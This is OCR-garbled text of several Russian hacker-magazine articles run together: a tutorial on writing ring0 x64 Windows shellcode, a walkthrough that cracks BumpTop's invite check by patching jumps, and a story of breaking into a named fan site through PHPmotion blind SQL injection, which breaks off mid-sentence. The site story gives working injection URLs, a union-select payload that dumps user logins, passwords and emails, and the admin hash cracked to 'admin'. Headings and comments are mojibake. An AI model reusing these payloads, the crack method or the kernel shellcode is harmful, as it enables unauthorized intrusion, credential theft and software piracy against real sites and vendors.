менена уязвимая сторонняя библиотека, что 
и стало причиной успешной атаки. А ведь об 
уязвимости было известно еще до моего экс-
плойта. Это говорит о том, что разработчики 
движка не интересуются безопасностью, не 
читают багтреки, да и аудит своей системы 
в целом не проводят. В итоге финал таков, 
как он есть. Но одно было сделано правиль-
но. Сами исходники движка находятся на 
хостинге от Google. Возможно, если хорошо 
поискать, то можно и на оффсайте найти ау-
тентификационные данные для хостинга про-
екта, но это уже потребует немного больших 
усилий. Помимо безопасности, это снижает 
нагрузку на сервер, остается больше места, 
не расходуется трафик.
В общем, учись, не вреди и используй знания 
в благих намерениях. z  

Наш шелл во всей красе :)
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 ×
то примечательно — никто до меня эту тему не расписывал. 
Да и я сам за все время существования x64 видел только при-
мер шелл-кода ring3 (inj3ct0r.com/exploits/9740). Под нулевое 
кольцо мне пока ничего увидеть не довелось. Будем это дело 
исправлять — ведь, в конце концов, область применения 

позиционно-независимого кода чрезвычайно широка: от вполне 
легальных пакеров/протекторов до руткитов и эксплойтов.  

×ÒÎ ÍÓÆÍÎ ÄËß ÐÀÁÎÒÛ? 
Для компиляции драйвера (мы ведь пишем шелл-код ring0) тебе 
потребуется Macro Assembler x64 (ml64). Его можно утянуть из WDK. 
Сам WDK доступен для скачивания на сайте Мелкософта по ссылке: 
microsoft.com/whdc/DevTools/WDK/WDKpkg.mspx.
После компиляции драйвер можно будет загрузить с помощью 
набора консольных утилит из примеров для FASM (install_drv.
exe, start_drv.exe и пр.). И только потому, что мне было лень 
написать свою утилиту (сваяю в ближайшее время).  Скачать их 
можно по ссылке: flatassembler.net/examples/win64_drivers.zip.
Помимо всего прочего тебе понадобятся Microsoft Debugging 
Tools (64-битные версии) + livekd Руссиновича (нужен для про-
смотра смещений в ядерных структурах). Первое и второе можно 
скачать на сайте Microsoft: microsoft.com/whdc/devtools/debugging/
install64bit.mspx и technet.microsoft.com/ru-ru/sysinternals/
bb897415.aspx. Чтобы лицезреть отладочный вывод своего 
новоиспеченного драйвера, тебе потребуется DbgView. Он себя 
(что очень приятно) прекрасно чувствует на 64-битной винде, 

как, впрочем, и livekd (technet.microsoft.com/en-us/sysinternals/
bb896647.aspx).
Дизассемблировать ядерные модули будем с помощью IDA x64.
Ну и для успешного восприятия того, что здесь написано, ты должен 
быть знаком с форматом PE и хотя бы в общих чертах понимать, что 
представляет собой 64-битный ассемблер. К вышесказанному надо 
еще добавить желание разобраться в тонкостях 64-битного пи-
кодинга :).

ÏËÀÍ ÄÅÉÑÒÂÈÉ
Обрисую задачи, которые нам необходимо будет решить при написа-
нии базонезависимого кода. Чтобы в голове все уложилось, всегда 
лучше следовать определенному плану.
1. Получение адреса начала ядра (aka ntoskrnl);
2. Разбор таблицы экспорта ntoskrnl;
3. Получение адресов нужных функций; 
4. Profit!
Итак, начнем по порядку... 

ÏÎÈÑÊ ÁÀÇÛ ßÄÐÀ 
Первым делом нам необходимо получить базу ядра. Я рассмотрю три 
способа получения:
• через поля структуры Processor Control Region (сокращенно PCR);
• юзая инструкцию sidt;
• через msr (они же машинно-зависимые регистры).
Конечно же, способы получения адреса начала ядра не исчерпываются 

Ìíîãîðàçðÿäíûå 
øåëë-êîäû
ÏÈØÅÌ RING0-SHELLCODE 
ÏÎÄ WINDOWS X64
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только этими тремя. Более того, здесь все ограничивается 
только фантазией кодера; в мои цели входит лишь расста-
вить путеводные флажки для твоих дальнейших исследова-
ний. Что ж, приступим! 

ÑÏÎÑÎÁ ¹1   
Суть как этого, так и других способов в том, что мы должны 
отыскать какой-то адрес, принадлежащий ntoskrnl. Такой 
адрес можно получить из, скажем, обработчика прерыва-
ния int 3 из idt. Выбор допустимого вектора определяется 
тем, принадлежит ли он обычно ядру. Я говорю «обычно», 
так как могут стоять различные хуки. Хотя на x64 idt про-
веряется Patch Guard, его защиту можно без труда обойти.
В вопросе поиска подходящего обработчика нам поможет 
livekd и его команда !idt, которая дампит таблицу пре-
рываний.

0: kd> !idt

Dumping IDT:

00: fffff8000102c400 nt!KiDivideErrorFault

01: fffff8000102c4c0 nt!KiDebugTrapOrFault

02: fffff8000102c600 nt!KiNmiInterrupt       

  Stack = 0xFFFFF8000011D000

03: fffff8000102c940 nt!KiBreakpointTrap

04: fffff8000102ca00 nt!KiOverflowTrap

05: fffff8000102cac0 nt!KiBoundFault

06: fffff8000102cb80 nt!KiInvalidOpcodeFault

07: fffff8000102cd40 nt!KiNpxNotAvailableFault

08: fffff8000102ce00 nt!KiDoubleFaultAbort   

  Stack = 0xFFFFF8000011B000

09: fffff8000102cec0 nt!KiNpxSegmentOverrunAbort

0a: fffff8000102cf80 nt!KiInvalidTssFault

0b: fffff8000102d040 nt!KiSegmentNotPresentFault

0c: fffff8000102d140 nt!KiStackFault

0d: fffff8000102d240 nt!KiGeneralProtectionFault

0e: fffff8000102d340 nt!KiPageFault

10: fffff8000102d680 nt!KiFloatingErrorFault

11: fffff8000102d7c0 nt!KiAlignmentFault

12: fffff8000102d880 nt!KiMcheckAbort        

  Stack = 0xFFFFF8000011F000

13: fffff8000102dbc0 nt!KiXmmException

1f: fffff800010279e0 nt!KiApcInterrupt

2c: fffff8000102dd40 nt!KiRaiseAssertion

2d: fffff8000102de00 nt!KiDebugServiceTrap

2f: fffff80001067c70 nt!KiDpcInterrupt

Итого 20+ возможных вариантов, что не так уж мало.  
Но, чтобы определить адрес обработчика, нам потребуется 
адрес начала idt. Один из способов ее получения — чте-
ние поля KPCR.IdtBase. О виде структуры PCR спросим, 
как обычно, у livekd.

0: kd> dt _KPCR

nt!_KPCR

+0x000 NtTib            : _NT_TIB

+0x000 GdtBase          : Ptr64 _KGDTENTRY64

+0x008 TssBase          : Ptr64 _KTSS64

+0x010 PerfGlobalGroupMask : Ptr64 Void

+0x018 Self             : Ptr64 _KPCR

+0x020 CurrentPrcb      : Ptr64 _KPRCB

+0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE

+0x030 Used_Self        : Ptr64 Void

+0x038 IdtBase          : Ptr64 _KIDTENTRY64

+0x040 Unused           : [2] Uint8B

+0x050 Irql             : UChar

+0x051 SecondLevelCacheAssociativity : UChar

+0x052 ObsoleteNumber   : UChar

+0x053 Fill0            : UChar

+0x054 Unused0          : [3] Uint4B

+0x060 MajorVersion     : Uint2B

+0x062 MinorVersion     : Uint2B

+0x064 StallScaleFactor : Uint4B

+0x068 Unused1          : [3] Ptr64 Void

+0x080 KernelReserved   : [15] Uint4B

+0x0bc SecondLevelCacheSize : Uint4B

+0x0c0 HalReserved      : [16] Uint4B

+0x100 Unused2          : Uint4B

+0x108 KdVersionBlock   : Ptr64 Void

+0x110 Unused3          : Ptr64 Void

+0x118 PcrAlign1        : [24] Uint4B

+0x180 Prcb             : _KPRCB

Как ты можешь заметить, указатели расширились до 
64 бит, ну и имена полей (сравнивая с 32-разрядной Вин-
дой) тоже поменялись. Но это не самое главное, так как 
для нас в данный момент важно смещение поля IdtBase 
относительно начала _PCR.

Исходники 
скомпилированного 
драйвера ищи на 
нашем DVD.

dvd

DVD

Вывод нашего драйвера в DbgView

Родной интерфейс ml64

Единственный x64 шелл-код, обнаруженный мной и мирно 
лежащий на inj3ct0r.com
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Хорошо, допустим, структуру x64 PCR мы мало-мальски знаем (честь и 
хвала livekd). А откуда мы достанем указатель на KPCR? Глянем в код 
функции из hal.dll HalInitializeProcessor. 

.text:000000008001F240 public HalInitializeProcessor

.text:000000008001F240 HalInitializeProcessor proc near        

; DATA XREF: .pdata:000000008004C804 o

.text:000000008001F240

.text:000000008001F240 var_28 = byte ptr -28h

.text:000000008001F240 var_20 = byte ptr -20h

.text:000000008001F240 var_18 = qword ptr -18h

.text:000000008001F240 arg_0 = byte ptr  8

.text:000000008001F240

.text:000000008001F240 push    rbx

.text:000000008001F242 sub     rsp, 40h

.text:000000008001F246 mov     r8, gs:18h

.text:000000008001F24F mov     r10d, ecx

.text:000000008001F252 mov     r9d, 1

.text:000000008001F258 mov     rax, [r8+20h]

.text:000000008001F25C mov     ecx, ecx

.text:000000008001F25E mov     [rax+4], r10b

.text:000000008001F262 shl     r9, cl

.text:000000008001F265 lea     rax, HalpProcessorPCR

.text:000000008001F26C or    cs:HalpActiveProcessors, r9

.text:000000008001F273 cmp   cs:HalpStaticIntAffinity, 0

.text:000000008001F27A mov     dword ptr [r8+64h], 64h

.text:000000008001F282 mov     [rax+r10*8], r8

Как видим, указатель на PCR для текущего процессора мы можем 
утянуть из gs:[18h]. В 32-битной Винде юзали сегментный регистр fs, а 
теперь gs :).   
Так, а что стало с дескрипторами шлюзов в idt? Нам ведь надо до-
стать адрес обработчика int 3 (ну или другого, по вкусу), а у нас только 
дескрипторы шлюзов, по которым «размазано» смещение обработчи-
ка. Они, конечно же, в x64 тоже поменялись. Как именно? Изменения 
можно (и нужно) смотреть в оригинальных мануалах производителя 
(AMD, Intel), но у нас сейчас под рукой только livekd. И с его помощью 
тоже можно узнать нужную инфу! Вводим dt _KIDTENTRY64, чтобы вы-
тянуть из отладочных символов структуру дескриптора шлюза.

0: kd> dt _KIDTENTRY64

nt!_KIDTENTRY64

   +0x000 OffsetLow        : Uint2B 

   +0x002 Selector         : Uint2B

   +0x004 IstIndex         : Pos 0, 3 Bits

   +0x004 Reserved0        : Pos 3, 5 Bits

   +0x004 Type             : Pos 8, 5 Bits

   +0x004 Dpl              : Pos 13, 2 Bits

   +0x004 Present          : Pos 15, 1 Bit

   +0x006 OffsetMiddle     : Uint2B

   +0x008 OffsetHigh       : Uint4B

   +0x00c Reserved1        : Uint4B

   +0x000 Alignment        : Uint8B

0: kd>  

Из этого дампа мы должны понять, где внутри дескриптора распола-
гаются кусочки адреса обработчика (он же Offset). Адрес, как ты уже 
понял, тоже 64-битный.
Вот, собственно, и все, что нам нужно. Ниже привожу код с коммента-
риями, который и получает базу ядра этим способом.

 ; _KPRC

 mov rcx, gs:[18h]

 ; +0x038 IdtBase          : Ptr64 _KIDTENTRY64

 mov rcx,qword ptr[rcx+38h]

    

     

; ïîëó÷åíèå àäðåñà îáðàáîò÷èêà int 3

; Ðàçìåð äåñêðèïòîðà øëþçà òåïåðü 16 áàéò. Íóæåí òðå-

òèé îáðàáîò÷èê îò 0

; INT_X — êîíñòàíòà = 3 

add rcx,16*INT_X

; ñîáèðàåì âìåñòå ïîëÿ OffsetLow, OffsetMiddle è 

OffsetHigh ñòðóêòóðû KIDTENTRY64      

mov r11,qword ptr [rcx]

and r11,0FFFFh

mov rcx, qword ptr [rcx+4]

; òåïåðü â rcx àäðåñ îáðàáîò÷èêà int 3 (Offset)

mov cx,r11w

and cx,0F000h  ; îáíóëÿåì ìëàäøèå 12 áèò àäðåñà 

search_loo:   ; öèêë ïîèñêà áàçû ntoskrnl

cmp word ptr [rcx],'ZM'

jnz nxt

sub rax,rax

; eax -> PE offset

mov eax,dword ptr [rcx+3Ch]

; ïðîâåðêà ñèãíàòóðû PE

cmp word ptr [rcx+rax],'EP'

jz founded

nxt:

; ïðîäîëæàåì ïîèñêè...

sub rcx,1000h ; òàê áûñòðåå âñåãî

jmp search_loo

founded:

...

ÑÏÎÑÎÁ ¹2
Этот метод также основывается на idt. Он несколько лаконичней, 
чем предыдущий, но также имеет ряд особенностей по сравнению с 
аналогичным способом для 32-разрядной версии Windows. Основная 
причина различий — изменение формата регистра idtr. Поле лимита 
не поменялось (как было 2 байта, так и осталось), а вот поле базы 
стало равным 8 байтам. 
Структура idtr на x64 следующая:

typedef struct _IDTR

{

 USHORT usLimit;

 ULONGLONG uBase; 

}IDTR;

Получив базу idt, действуем инструкцией sidt так же, как и в предыду-
щем примере. Обнуляем младшие 12 бит адреса и, вычитая по 1000h, 
проверяем сигнатуры MZ и PE.

Если консоль livekd тебе не по душе — запускай 
livekd с параметром -w
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ÑÏÎÑÎÁ ¹ 3
Еще один красивый способ заключается в получении адреса 
KiSystemCall64 (так называется обработчик в 64-битном ядре) из msr 
регистра lstar (его адрес 0xC0000082). Этот регистр (как, вероятно, тебе 
известно) используется командой syscall. 

...

sub rcx,rcx

mov ecx,0C0000082h ; àäðåñ msr â ecx

rdmsr ; ÷èòàåì ìàøèííî-çàâèñèìûé ðåãèñòð lstar

...

После этого в паре регистров edx:eax будет содержаться адрес 
KiSystemCall64. Кстати, вовсе необязательно читать именно регистр 
lstar. Вообще, инструкция syscall в long mode (режим процессора, в 
котором работает 64-разрядная винда) юзает 2 msr регистра: cstar и 
lstart для compatibility и 64-bit mode соответственно. Так к чему это 
я веду? В msr cstar (0xC0000083) тоже лежит адрес, принадлежащий 
диапазону адресов ntoskrnl! — это адрес процедуры  KiSystemCall32.
Далее по уже известной тебе схеме получаем адрес начала ядра.

ÐÀÇÁÎÐ ÝÊÑÏÎÐÒÀ Â WINDOWS X64
Теперь приступаем к получению адресов нужных функций. Так как мы 
имеем дело с форматом PE32+, надо учитывать его специфику.
Обрисую основные моменты, которые поменялись. Если ты имеешь 
опыт написания шелл-кодов для win32, то наверняка знаешь, что по-
лучить указатель на директорию экспорта можно, прибавив к адресу 
начала IMAGE_NT_HEADERS 78h. В win64 мы прибавляем  88h. Уве-
личение значения величины смещения обусловлено увеличением 
некоторых полей в PE32+ по сравнению с PE32. 
Взглянем на структуру  _IMAGE_NT_HEADERS64:

typedef struct _IMAGE_NT_HEADERS64 {

    DWORD Signature;

    IMAGE_FILE_HEADER FileHeader;

    IMAGE_OPTIONAL_HEADER64 OptionalHeader;

} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

То есть изменения коснулись полей опционального заголовка, 
из-за этого пришлось поменять смещения. Кстати IMAGE_EXPORT_
DIRECTORY (как и IMAGE_DOS_HEADER) не поменялась, что играет 
нам на руку. 
В заключение привожу код разбора таблицы экспорта для PE32+:

...

    shellcode_data:

    db "ZwCreateFile",0

    ;...

    ; èùåì àäðåñ íóæíîé ôóíêöèè 

    ; export directory

    lea r11,[rcx+rax+88h]

    sub r12,r12

    ; export directory rva

    mov r12d,dword ptr [r11]

    ; Âèðòóàëüíûé àäðåñ IMAGE_EXPORT_DIRECTORY

    add r12,rcx

    sub r8,r8

    ;number of functions

    mov r8d,dword ptr [r12+18h]

    sub r9,r9

    ; AddressOfNames

    mov r9d,dword ptr [r12+20h]

    ; function names virtual address

    add r9,rcx

    dec r8

    ; func_name

    mov rdi,shellcode_data

    next_function:

    sub rsi,rsi

    mov esi,dword ptr [r9+r8*4]

    add rsi,rcx

    ; ñáðîñèì ôëàã íàïðàâëåíèÿ, ÷òîáû ïðè êîìàíäå 

cmpsb ïðîèñõîäèë èíêðåìåíò ðåãèñòðîâ

    cld

    push rdi

   ; ñîõðàíÿåì rcx — êîìàíäà cmpsb åãî ìîäèôèöèðóåò 

    push rcx

   ; óñòàíàâëèâàåì ñ÷åò÷èê ñèìâîëîâ äëÿ êîìàíäû cmpsb

    mov rcx,12

   ; íà÷èíàåì ñðàâíèâàòü ñòðîêè ïîñèìâîëüíî

    repe cmpsb

    jz founded_f

    pop rcx ; âîññòàíàâëèâàåì çíà÷åíèÿ ìîäèôèöèðóåìûõ 

cmpsb ðåãèñòðîâ

    pop rdi

   ; óìåíüøàåì ñ÷åò÷èê ôóíêöèé 

    dec r8

    jnz next_function

    jmp not_found

    founded_f:

    pop rcx

    pop rdi

    sub rbx,rbx

    ; AddressOfNameOrdinals RVA

    mov ebx,dword ptr [r12+24h] 

    

    ;NameOrdinals VA

    add rbx,rcx

    ; index in address table into r8

    mov r8w, word ptr [rbx+r8*2] ; êëàäåì çíà÷åíèå 

èíäåêñà â ìëàäøåå ñëîâî ðåãèñòðà r8 

    and r8d,0FFFFh

    sub rbx,rbx

    mov ebx,dword ptr [r12+1Ch] 

    add rbx,rcx

    sub r12,r12

    mov r12d, [rbx+r8*4] ; êëàäåì â ìëàäøåå äâîéíîå 

ñëîâî ðåãèñòðà r12 RVA íóæíîé íàì ôóíêöèè 

; â ðåãèñòðå rcx ïîëó÷àåì àäðåñ ôóíêöèè ZwCreateFile

    add rcx,r12

    not_found:

...

Как видишь, этот код имеет два существенных недостатка. Во-первых, 
я не хеширую имя функции, а использую посимвольное сравнение. 
Во-вторых, отсутствует оптимизация.
Теперь компилируем драйвер с помощью ml64, а отладочный вывод 
смотрим в DbgView. 
Правильность полученного адреса можно проверить в livekd. Для этого 
введем команду: 

u ïîëó÷åííûé_àäðåñ

ÇÀÊËÞ×ÅÍÈÅ
Вот мы и разобрались с ядерным шелл-кодингом под 64-бит-
ную Винду. На первый взгляд ничего сложного. Вообще, надо 
сказать, что 64-разрядные процессоры очень привлекательны 
для написания пи-кода. Все дело в таких нововведениях, как 
rip-relative addressing и большее количество регистров. Правда, 
некоторые вещи я намеренно упустил из виду — не приводить 
же совсем законченное решение :). С этим тебе, читатель, еще 
предстоит разобраться, и да поможет тебе дизассемблер! z  
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ÏÐÈÃËÀØÀÅÌÑß ÍÀ ÒÅÑÒÈÐÎÂÀÍÈÅ
Год назад я впервые увидел видео-демонстрацию трехмерного деск-
топа BumpTop(), тогда же я подал заявку на бетатестирование. Время 
шло, а инвайт на почту все не приходил, я уже и забыл про него. И вот, 
на днях в одном из блогов я наткнулся на заметку о BumpTop и вспом-
нил, что когда-то отправлял заявку на инвайт, и что мне так ничего и 
не дали.

ØÀÃ ÏÅÐÂÛÉ 
Для начала я решил поискать, что доступно в Сети. C этой целью я 
зашел на любимый thepiratebay.org, вбил в строке поиска «BumpTop» 
и получил всего 1 результат — бета-версию 2008 года. Скачав торрент, 
я установил и запустил BumpTop. Как и ожидалось, я получил окно с 
просьбой предъявить инвайт. Инвайта у меня, конечно, не было, так 
что я сразу открыл bumptop.exe в интерактивном дизассемблере IDA 
pro. После недолгого анализа IDA замерла, передавая управление 
мне. И тут понеслось.
Для начала нужно было найти код, который определяет, зарегистрирова-

на ли программа. Для этого я открыл окно со Strings (Shift+F12) и нашел 
там строку «Please enter your invite code:», написанную в окне для ввода 
инвайта. Кликнул по ней два раза и оказался на адресе .rdata:00647D1C, 
где эта строка хранится. Затем я вызвал окно jump to xref operand(x), что-
бы посмотреть, где наша строка используется. Получил всего один адрес 
и перешел по нему. Далее, чтобы удостовериться, что это тот код, кото-
рый мы ищем, я поставил точку останова (F2) и запустил программу (F9). 
Достигнув бряка, пробежался немного вниз (F8) до адреса 0041B7A7. И... 
вот оно! Открылось наше окно с запросом инвайта. Теперь следует найти 
код, который определяет, нужно ли нам показывать это окно. Остановив 
программу и поднявшись по коду выше, до объявления функции по 
адресу .text:0041B350, я посмотрел, откуда она вызывается (jump to xref 
operand). Затем, перейдя по полученному адресу, сразу перед вызовом 
нашей функции я увидел условный переход:

.text:004862B4   cmp byte ptr [eax+8Bh], 0

 ; ñðàâíåíèå ïåðåìåííîé ñ 0

.text:004862BB   jnz short loc_4862C2

BUMPTOP ÈËÈ ÁÅÒÀ-ÂÅÐÑÈß ÁÓÄÓÙÅÃÎ

Òðåõìåðíûé 
âçëîì
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 ; óñëîâíûé ïåðåõîä

.text:004862BD  call sub_41B350 ;âûçîâ ôóíêöèè

Я поставил на него точку останова, запустил программу, и она встала 
на свежеустановленном бряке. Так как здесь условный переход осу-
ществляется с помощью инструкции JNZ (прыгнуть, если не ноль), то, 
чтобы переход все-таки состоялся, нужно поменять флаг ZF (флаг нуля 
— единственный флаг, который влияет на инструкции JZ и JNZ) с 1 на 
0. Поменяв флаг, в окне General Registers я вдавил Run(f9). Bumptop, 
радостно мигнув сплешскрином и вызвав несколько исключений, 
которые я успешно проигнорировал, стартанул!
Теперь мне оставалось только сделать битхак файла так, чтобы не 
выводилось окно с запросом инвайта. Открыв файл bumptop.exe в 
HIEW, я два раза пушнул <enter> для перехода в режим дизассембли-
рования. Затем нажал F5, ввел адрес условного перехода (.004862BB) 
и снова нажал <enter>.
После F3 и F2 для редактирования текущей инструкции я изменил 
текущую инструкцию JNE на противоположную ей JE (JNE/JE это сино-
нимы инструкций JNZ/JZ). Все, дело сделано, и теперь мне оставалось 
только сохранить (F9) и запустить программу!
Но что это? Сразу после запуска BumpTop предложил обновить нашу 
старую бету на самую последнюю. Ну что ж, я думаю, не стоит отказы-
ваться от этого удовольствия. Нажимаем «Yes».

ÍÈ×ÅÃÎ ÍÅ ÏÐÅÄÂÅÙÀËÎ ÁÅÄÛ 
ÈËÈ BUMPTOP RELOAD...
Сразу же после удачного запуска 3D Desktop'a я начал внима-
тельно изучать все его вкусности, но, к моему удивлению, при-
мерно через 5-10 минут работы появилось сообщение с пред-
ложением обновить мою beta 12 версию BumpTop'a. «Конечно», 
— подумал я, кликнув на появившемся сообщении кнопку «Yes». 
Программа замерла и через несколько мгновений 3D-десктоп 
пропал с экрана моего монитора, и появилось очередное окно с 
запросом инвайта: «Authorization failed! Please enter your invite 
code». Открыв в IDA обновленный BumpTop.exe, я с ухмылкой 
злодея принялся за дело... 

Аналогично предыдущей версии я нашел по адресу 0068A2CC объ-
явление строки «Authorization failed!» и место, где она используется 
по адресу 0041FF23. После нескольких нажатий <PgUp> я увидел объ-
явление функции, вызывающей форму для ввода инвайта. Нехитрым 
нажатием на клавиатуре <X> и <Enter> переместился к месту вызова 
функции; им оказался адрес 0042258C. Затем выделил адрес и по-
ставил на него бряк. Запустил программу, она остановилась на бряке, 
поменял флаг ZF и запустил дальше, тут программа выдала ошибку. 
Что ж, буду искать дальше...
Я поднялся еще выше — снова до объявления текущей функции — и 
нашел, откуда она вызывается. Это был список из 10 разных адресов. 
Я прошелся по всем ним, расставляя бряки на каждый вызов нашей 
функции, дабы определить из какого места она действительно вызы-
вается. В очередной раз запустил программу, и теперь она останови-
лась по адресу 0041EE54. Я увидел следующий код:

.text:0041EE2D test al, al          

  ;óñëîâèå

.text:0041EE2F jnz loc_41EED2       ;óñëîâíûé ïåðåõîä

.text:0041EE35 push ecx

.text:0041EE36 mov ecx, esp

.text:0041EE38 mov [esp+0ECh+var_C0], esp

.text:0041EE3C push offset aAuthorizationf

 ; «AuthorizationFailed»

.text:0041EE41 call ds:??0QString@@QAE@PBD@Z

.text:0041EE47 lea eax, [esp+0E8h+var_B0]

.text:0041EE4B push eax

.text:0041EE4C mov [esp+0ECh+var_4], 2Fh

.text:0041EE54 call sub_422550       

 ;âûçîâ íàøåé ôóíêöèè

Действуя по старой схеме, я поставил точку останова на инструкцию 
JNZ по адресу 0041EE2F, перезапустил программу и, после успешной 
остановки, поменял флаг ZF. Все, заработало! Возвратившись в HIEW, 
я, как и раньше, поменял инструкцию JNZ на JZ, только теперь по 
адресу 0041EE2F. BumpTop запустился без проблем, и это была уже не 
12 версия, а новая BumpTop Beta 19!
В итоге я получил последнюю версию программы и удовольствие от 
процесса добычи инвайта. Можно праздновать победу и любоваться 
новым 3D Desktop'ом на мониторе железного друга.

ÏÎÑËÅÑËÎÂÈÅ ÈËÈ ÑÄÅËÀÉ ÑÀÌ
В целом продукт функционален и привлекателен, хотя и обладает пока 
различными мелкими глюками, не зря ведь разработчики сохраняют 
за проектом статус закрытой beta. В последний день сдачи статьи 
разработчики BumpTop преподнесли сюрприз — вышла новая версия. 
Хорошо это или плохо — решать тебе. z  

Только что запущенный Bumptop beta 12

Обновим нашу старую бету на новую?

Нужная нам строка
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 Ô
анаты создали множество 
сайтов и блогов, посвященных 
своим кумирам. Одним из са-
мых успешных проектов такого 
рода является сайт, посвящен-

ный Сэму Уортингтону — sam-worthington.
net. Основанный 8 января сего года, 
ресурс уже сейчас посещают около 30 
тысяч уникальных посетителей в месяц, 
большинство из которых даже и не подо-
зревают, что их личные данные находятся 
под угрозой :).

ÏÎÄÃÎÒÎÂÊÀ ÏËÀÖÄÀÐÌÀ
Забегая немного вперед, скажу, что одним 
лишь Сэмом Уортингтоном дело не за-
канчивается. На одной площадке с sam-
worthington.net находятся десятки других 
популярных фан-сайтов, о которых я узнал 
лишь в конце взлома :).
Итак, изучение ресурса было начато с 
анализа главной страницы. Наметанный 
глаз поклонника WordPress сразу же 
узнал любимый движок, который, к сожа-
лению, был непробиваемой на тот момент 
версии 2.9.2 (открываем html-исходник 

главной и наблюдаем версию в мета-теге 
Generator). Этот факт меня особо не огор-
чил, потому что контент сайта прямо-таки 
манил своим разнообразием.
Следующий обнаруженный движок 
— «Coppermine Photo Gallery» (sam-
worthington.net/gallery/). Его версия, 
опять же, не смогла меня порадовать 
— html-исходник плюнул в меня надпи-
сью “<!--Coppermine Photo Gallery 1.4.26 
(stable)-->”.
Далее, еще немного походив по странич-
кам ресурса, я наткнулся на интересную 
надпись «Powered free by PHPmotion», 
находившуюся внизу странички videos.
sam-worthington.net. Перейдя по пред-
лагаемой ссылке на www.phpmotion.com, 
я узнал, что этот движок позиционируется 
как опенсорсный клон YouTube, и что его 
можно бесплатно скачать.
Завладев исходниками PHPmotion, я сра-
зу же попытался сравнить версии: мою и 
ту, что находилась на фан-сайте «Джейка 
Салли». Единственной зацепкой, позво-
лявшей хоть как-то определить версию 
движка, являлась открытая для просмотра 

директория images — в ней находились 
файлы logo.gif и logo.png, на которых от-
четливо было написано, что необходимая 
мне версия кроется за номером 2.0. Так 
как на официальном сайте PHPmotion 
находилась уже версия 3.0, пришлось не-
много погуглить (ссылку ищи в сносках).
Найдя нужные исходники, я немало 
удивился тому, что там в самом корне при-
сутствовал файлик VERSION.txt с содер-
жимым «PHPmotion Version 2 STABLE  - 28 
APRIL 2008». Поскольку такой же файл, 
оказывается, был и на нужном сервере, 
дальше с раскопками кода можно было не 
медлить :).

ÄÛÐßÂÛÉ PHPMOTION
Немного покопавшись в исходниках и 
найдя несколько конструкций вроде сле-
дующей в ./audio_selector.php:

<?php

...

$selector_audio_id = mysql_real_

escape_string($_GET['vid']);

...

ÌÀÑÑÎÂÛÉ ÂÇËÎÌ ÈÇÂÅÑÒÍÛÕ ÇÀÐÓÁÅÆÍÛÕ ÔÀÍ-ÑÀÉÒÎÂ

ßùèê 
Ïàíäîðû
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links

HTTP://WWW

• downloads.phpmo-
tion.com/V2/PHPMO-
TION_PHP5.zip — 
PHPmotion 2.0
• downloads.phpmo-
tion.com/V3.0/php5/
phpmotion.zip — 
PHPmotion 3.0
• snipper.ru/view/17/
phpmotion-2x-
ratephp-blind-sql-
injection-exploit/ 
— PHPmotion 2.x 
rate.php blind sql 
injection exploit
• www.phpshield.com 
— phpShield

$selector_sql = "SELECT * FROM audios WHERE 

indexer = $selector_audio_id AND approved 

='yes'";

...

?>

я, было, обрадовался, но не тут-то было! На запятые 
и прочие “union select” в переменной $_GET['vid'] 
реагировал банально встроенный в скрипт IDS, при-
чем исходники фильтра я посмотреть так и не смог, 
потому что, по всей видимости, он находился в файле 
./classes/config.php и был зашифрован утилитой 
phpShield. Оставалось лишь одно — тупая проверка 
всех файлов движка на наличие в них конструкций и 
переменных, на которые фильтр не реагировал.
После непродолжительного анализа нужная мне уяз-
вимость была найдена в файле rate.php:

<?php

...

$rate_video_id = 

 mysql_real_escape_string($_GET['rate_id']);

$rate_video_rating = 

 mysql_real_escape_string($_GET['rate']);

...

$flag_sql = "SELECT * FROM rating WHERE 

video_id = $rate_video_id AND user_id = 

$user_id";

$flag_query = @mysql_query($flag_sql);

$flag_count = @mysql_num_rows($flag_query);

if ($flag_count != 0) {

 @mysql_close();

 error_redirect(117);//"You have already 

rated this video. "

}

else {

...

 error_redirect(118);//"You request could 

not be completed. "

}

...

?>

warning
Все описанное 
в статье является 
плодом больного 
воображения автора. 
Любые совпадения 
с существующими 
сайтами случайны. Ни 
редакция, ни автор не 
несут ответственности 
за любой возможный 
вред, причиненный 
использованием 
материалов этой 
статьи в проти-
возаконных целях.

WARNING

blind sql-injection эксплойт 
для PHPmotion

Официальный сайт движка PHPmotion

Содержимое /etc/passwd на моем e-mail
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В вышеприведенном коде налицо баналь-
нейшая blind SQL-инъекция:

http://site.com/phpmotion20/rate.

php?rate_id=-9+or+1=1--&rate=1 - 

true, âîçâðàùàåòñÿ õýäåð Location: 

index.php?code=117

http://site.com/phpmotion20/rate.

php?rate_id=-9+or+1=2--&rate=1 

- false, âîçâðàùàåòñÿ õýäåð 

Location: index.php?code=118

Далее необходимо было написать про-
стейший эксплойт на основе этой инъек-
ции, что я и сделал (ссылку на сплойт ищи 
в сносках).
Эксплойт основан на принципе «бинар-
ного поиска» и действует по следующей 
схеме:
1. Логинимся, получаем куку с PHPSESSID;
2. Получаем поле username из таблицы 
admin;
3. Получаем md5-хеш пароля админа из 
поля password.

ÂÍÓÒÐÈ
После нескольких минут работы сплойт 
выдал мне следующие данные: логин 
admin и md5 хеш 21232f297a57a5a743894a
0e4a801fc3.
Каково же было мое удивление, когда 
после расшифровки на plain-text.info 
оказалось, что под этим хешем скрывался 
пароль “admin” :).
Но удивляться было некогда, так что я 
залогинился в админку по адресу videos.

sam-worthington.net/siteadmin и стал ис-
кать другие баги.
Одним из таких багов оказалась более по-
лезная, чем предыдущая, SQL-инъекция в 
файле ./siteadmin/manage.php:

<?php

...

if ($_POST['search'] != "")

{ 

 //if search

 $term = mysql_real_escape_string(

  $_POST['search']);

 $result_sql = "SELECT * FROM 

member_profile WHERE user_id = 

$term ORDER BY user_name ASC LIMIT 

$set_limit, $limit";

 $header_title = 'Todays (new)';

}

...

?>

Используя эту инъекцию, я выудил все 
логины и пароли пользователей системы 
следующим образом:

-9 union select 1,2,3,4,5,6,7,8,

9,10,11,12,13,14,15,16,17,18,19,

20,21,22,23,concat_ws(0x3a,user_

name,password,email_address),25,26 

from member_profile/*

Но полезного в них, опять же, ничего не 
было. Добив до конца эту скулю, я узнал, 
что file_priv у текущего пользователя был 
выключен (так что просмотреть исходники 

каких-либо файлов на системе с помощью 
данного бага не представлялось воз-
можным), и что MySQL сервер фан-сайта 
обладал следующими параметрами:

user() - samworvd_ricarda@

localhost     

version() - 4.1.22-standard

database() - samworvd_video

Ничего не оставалось кроме того, как 
